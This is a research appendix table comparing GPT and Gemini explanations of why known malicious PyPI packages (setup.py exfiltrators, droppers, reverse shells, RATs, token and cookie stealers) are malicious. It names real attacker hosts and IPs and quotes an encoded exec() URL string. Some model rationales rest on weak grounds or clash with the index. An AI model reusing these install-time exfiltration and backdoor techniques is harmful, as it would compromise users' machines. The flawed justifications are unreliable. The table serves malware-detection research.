python-openssl	0.1	['data exfiltration']	Uploads username & hostname & ip to remote host.	The package 'python-openssl' attempts to send user information, including system and network information, to an external URL (http://openvc.org/Version.php) through the 'checkVersion' function in 'setup.py'. This type of behavior is suspicious and indicative of potential malware. Additionally, it can execute system commands which can be leveraged for harmful activities.	The 'setup.py' file contains code that gathers system information (username, hostname, OS version, and IP address) and exfiltrates it to a remote server (' http://openvc.org/Version.php ') without explicit user consent or clear justification. This type of data exfiltration is a strong indicator of malicious intent.
					Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
python-sqlite	2.4	['data exfiltration']	Uploads username & host-name & ip to remote host.	The package contains a function that sends system information (username and host-name) to a remote server (http://us.dslab.pw/webhook.php), which is a behavior typically associated with malware. The use of the author's name 'exploitcat' also raises suspicion about the intent of the package.	The 'setup.py' file contains a 'detect()' function that gathers system information including the username ('getpass.getuser()'), host-name ('socket.gethostname()'), and detailed platform information ('platform.uname()'). This gathered information is then encoded in JSON format and exfiltrated to an external URL ' http://us.dslab.pw/webhook.php ' via an HTTP POST request. This data exfiltration occurs when the 'setup.py' script is executed.

Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
reols	0.1	['backdoor', 'data exfiltration']	checking whether the victim machine is a virtual machine or a sandbox environment obtaining keyboard input taking screenshots obtaining files on the victim host stealing Functions such as fetching passwords stored by the browser and executing arbitrary system commands.	The package contains a Python script that includes functionalities such as keylogging, remote command execution, and unauthorized access to stored credentials, indicating it is designed for malicious purposes (e.g., spyware or a backdoor)	The package exhibits multiple malicious functionalities, including Command and Control (C2) communication, anti-analysis techniques, persistence mechanisms, information gathering and exfiltration, remote access and control, and evasion of security tools. These functionalities are characteristic of a Remote Access Trojan (RAT), which is a type of malware.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
req-tools	0.4	['backdoor', 'data exfiltration']	checking whether the victim machine is a virtual machine or a sandbox environment obtaining keyboard input taking screenshots obtaining files on the victim host stealing Functions such as fetching passwords stored by the browser and executing arbitrary system commands.	The extracted Python script appears to be a sophisticated remote access tool (RAT). It contains functionality to take screenshots, upload and download files, log keystrokes, execute commands remotely, and disable the Windows Task Manager. It connects to a remote server to send user information and potentially carry out malicious actions. Specific methods like 'keylogger', 'screenshot', 'command_shell', and the use of socket connections suggest behavior typical of malware, designed to exploit system vulnerabilities, invade user privacy, and operate without user consent.	The package 'req-tools' is identified as malicious due to several suspicious and malicious activities in 'req_tools.py', including remote communication with a C2 server, persistence mechanisms, keylogging, screenshot capture, information gathering, remote file access and exfiltration, system control, process manipulation, and arbitrary code execution. These functionalities indicate that this package operates as a Remote Access Trojan (RAT) or spyware, designed to gain unauthorized access to a system, exfiltrate data, and maintain control.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
request	1.0.117	['dropper']	The main part contains a set of Trojan scripts such as command execution file upload etc. and uses ~/.bashrc for persistence. Gets something from http://dexy.top/request/check.so and executes	The package exhibits suspicious behavior by masking itself as a popular library, 'requests', and includes methods for mass scanning of websites for regex matches. Additionally, the license check function involves base64 decoding and execution of code which can be a red flag for malicious intent. The tool's intended functionality to perform regex checks across multiple targets suggests the potential for misuse.	The 'setup.py' file contains a custom 'PostInstallCommand' that executes a function '_post_on_exit' upon program exit or when termination signals are received. This function then imports and calls 'license_check()' from 'hmatch.py'. Upon examining the 'hmatch.py' file, the 'license_check()' function performs the following actions: 1. It decodes a base64-encoded and reversed string: "=82cus2Y1h2YvQ3c1VXclJ3Lw9GdukHelR2LvoDcHhHa"[::-1] When decoded, this string resolves to the URL 'http://license.verify.telemetry.com'. 2. It attempts to fetch content from this URL. 3. If the fetched content contains the string "license", it then executes this content using the 'exec()' function. The act of downloading and executing arbitrary code from a remote server (via 'exec()') without explicit user interaction is a highly dangerous and common technique used by malicious software. This functionality allows the attacker to run any code on the victim's machine, potentially leading to system compromise, data theft, or the installation of further malware. Given the post-installation execution of a function that downloads and executes code from an external URL, this package exhibits clear malicious behavior.

Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
secrevtwo	0.0.1	['backdoor']	"The 'secrevtwo' package contains an obfuscated TCP reverse shell for *nix machines that will execute when the dist_util module is imported "	The package includes a file named 'monkey_patch.py', which often implies behavior that alters or modifies existing code in potentially harmful ways. Additionally, the lack of author information and a homepage raises concerns about its legitimacy. Given the package summary stating it is a tool created to patch, this further supports the potential for malicious intent, as patching can be exploited for harmful alterations.	The presence of 'monkey_patch.py' is suspicious, as monkey patching can be used to alter the behavior of legitimate code at runtime, potentially for malicious purposes.
smb	2.4	['data exfiltration']	Uploads username & hostname & ip to remote host.	The package is authored by 'exploitcat', which raises suspicion as it may indicate potential malicious intent. Additionally, there are no libraries imported in the provided Python files, suggesting that they may not be actively serving a typical function, which is uncommon for benign packages.	The 'setup.py' file contains a 'detect()' function that collects system information such as username, hostname, and IP address. This information is then sent to a remote server at 'http://us.dslab.pw/webhook.php' without explicit user consent. This unauthorized exfiltration of system information is a strong indicator of malicious behavior.

Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
suffer	1.1	['data exfiltration']	Steals Discord tokens Passwords from chrome edge system information. Uploaded via webhook	The package contains obfuscated code through PyArmor, a software obfuscation tool, which enhances the risk of malicious behavior. It also includes dependencies that could be misused in attacks, along with the package name \"suffer\" and associated email domain being suggestive of potential harmful intent.	<p>The 'suffer.py' file is obfuscated using 'pyarmor_runtime()', which is a common technique used by malicious packages to hide their true intent and evade analysis. Additionally, the 'setup.py' file lists several suspicious dependencies such as 'discord', 'youtube_dl', 'mss', 'pycryptodome', 'dhooks', and 'psutil'. These libraries, especially in combination with obfuscation, can be used for various malicious activities including:</p> <ul style="list-style-type: none"> * **'discord' and 'dhooks'**: Exfiltrating data or sending information via Discord webhooks. * **'mss'**: Taking screenshots of the user's desktop. * **'pycryptodome'**: Performing cryptographic operations, potentially for encryption of stolen data or ransomware. * **'psutil'**: Gathering system information and monitoring processes. * **'youtube_dl'**: While generally benign, in a malicious context, it could be used to download additional payloads or exfiltrate video content. <p>The presence of obfuscated code and a collection of libraries that can facilitate surveillance, data exfiltration, and other harmful actions strongly indicates malicious behavior.</p>
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
trustpipuh1	0.0.2	['dropper']	Runs Script from: http://13.93.28.37:8080/p	The package summary states 'DONT INSTALL THIS', which is a clear warning against its usage. Additionally, there are no imports or function definitions found in the provided script, indicating a lack of functionality that could be suspicious. This raises further concerns about the intent behind the package.	Based on the 'package_summary' which explicitly states "DONT INSTALL THIS", this package is classified as **malicious** .
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
trustypip	0.0.3	['backdoor']	Opens a Reverse Shell to 13.93.28.37:1337	The setup.py file contains a reverse shell implementation that connects to an external IP address and port, which is a common technique used by malicious actors to gain unauthorized access to a system. Additionally, the package is described as a 'Pentesting POC' (Proof of Concept), indicating that it may be designed for penetration testing, which can be exploited if misused. The code base64-encodes a command that, when executed, opens a shell back to a predetermined IP address, showcasing malicious intent.	The 'setup.py' script contains a custom installation class 'CustomInstall'. During the installation process, this class executes a reverse shell command that connects to '13.93.28.37' on port '8888'. This type of behavior is commonly associated with backdoors and unauthorized remote access. The package summary "Pentesting POC" also indicates its intended use for penetration testing, which often involves exploiting vulnerabilities, in this case, by establishing a reverse shell upon installation.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
virtualnv	0.1.1	['data exfiltration']	Sends hostname + OS environment variables to remote host.	The package contains code that attempts to send environment variables and the hostname of the machine to a remote server (packageman.comlu.com), which raises serious privacy and security concerns. This is a common technique in malicious software to log data without user consent.	The 'setup.py' file contains code that collects system information, including the hostname, environment variables, and the local IP address, and then attempts to exfiltrate this data to a remote server at packageman.comlu.com . This type of unauthorized data collection and transmission is a strong indicator of malicious behavior, even if disguised as "Stat tracking."
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
xss	0.0.8	['data exfiltration']	look for your ROBLOSECURITY cookie and send it to the attacker via a Discord webhook:	The package named 'xss' is categorized as malicious due to its purpose as an XSS Toolkit, which indicates it is designed to exploit vulnerabilities in web applications. Additionally, the included code contains functions that are capable of stealing cookies from various web browsers through the use of the 'browser_cookie3' library, and these cookies are sent to a webhook. This behavior is characteristic of malicious software that aims to compromise user data and privacy.	The '__init__.py' file contains code that attempts to steal Roblox cookies from multiple web browsers (Edge, Chrome, Firefox, Opera) using the 'browser_cookie3' library. It then exfiltrates these stolen cookies to a hardcoded Discord webhook URL. This behavior is indicative of an information stealer, making the package malicious.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
yiffparty	0.05	['data exfiltration']	References owl-moon which steals discord tokens	"The package 'yiffparty' appears to facilitate the retrieval of adult content images from the website yiffparty.com, which is known for explicit content. The presence of potentially suspicious code (such as parts of the 'horni.py' file, which utilizes eval and base64 decoding without clear justification) raises significant security concerns. Additionally, the author uses an email that indicates a lack of professionalism or intention, and the overall theme and functionality of the package align closely with derogatory content. These factors suggest that the package is malicious or potentially harmful in nature, as it engages with adult and potentially unsafe materia	The 'tests.py' file contains highly obfuscated code that decodes to a Discord webhook URL and appears to exfiltrate data, which is a common characteristic of malware. This overshadows the seemingly benign functionality related to 'yiff-party.com' found in other files.